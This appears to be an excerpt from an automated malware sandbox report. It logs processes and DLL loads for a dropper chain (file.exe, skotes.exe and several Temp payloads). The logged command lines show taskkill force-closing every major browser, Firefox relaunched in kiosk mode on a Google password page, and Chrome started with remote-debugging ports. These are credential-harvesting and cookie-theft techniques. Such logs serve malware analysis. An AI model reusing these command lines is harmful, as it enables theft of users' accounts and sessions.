Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe "C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2240 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a9f21155-d74f-4b5e-8ecf-36b414f26712} 3412 "\\.\pipe\gecko-crash-server-pipe.3412" 1cea556e510 socket
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2372 --field-trial-handle=2308,i,533383946619044519,12791095769116952167,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe "C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe "C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe"
Source: C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4004 -parentBuildID 20230927232528 -prefsHandle 4028 -prefMapHandle 4024 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d60e0f46-c8ef-473f-aa85-ffd865e67030} 3412 "\\.\pipe\gecko-crash-server-pipe.3412" 1ceb752e810 rdd
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe	Process created: C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe "C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe "C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2524 --field-trial-handle=2480,i,435901373063125670,2999997122850971056,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe "C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe"
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe "C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe"
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe "C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe "C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe "C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe "C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe "C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe "C:\Users\user\AppData\Local\Temp\1016969001\2de5083afa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe "C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe "C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Process created: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe "C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016965001\1375bfecca.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Users\user\AppData\Local\Temp\1016967001\7847e34378.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1016966001\3275f9fb1e.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2300 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2240 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {a9f21155-d74f-4b5e-8ecf-36b414f26712} 3412 "\\.\pipe\gecko-crash-server-pipe.3412" 1cea556e510 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4004 -parentBuildID 20230927232528 -prefsHandle 4028 -prefMapHandle 4024 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {d60e0f46-c8ef-473f-aa85-ffd865e67030} 3412 "\\.\pipe\gecko-crash-server-pipe.3412" 1ceb752e810 rdd
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2372 --field-trial-handle=2308,i,533383946619044519,12791095769116952167,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe	Process created: C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe "C:\Users\user\AppData\Local\Temp\1016970001\05ca246288.exe"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2524 --field-trial-handle=2480,i,435901373063125670,2999997122850971056,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: C:\Windows\SysWOW64\taskkill.exe
Source: C:\Users\user\AppData\Local\Temp\1016968001\59f3adca26.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1016971001\08f77951f7.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: mscorjit.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016964001\c7af53ccad.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
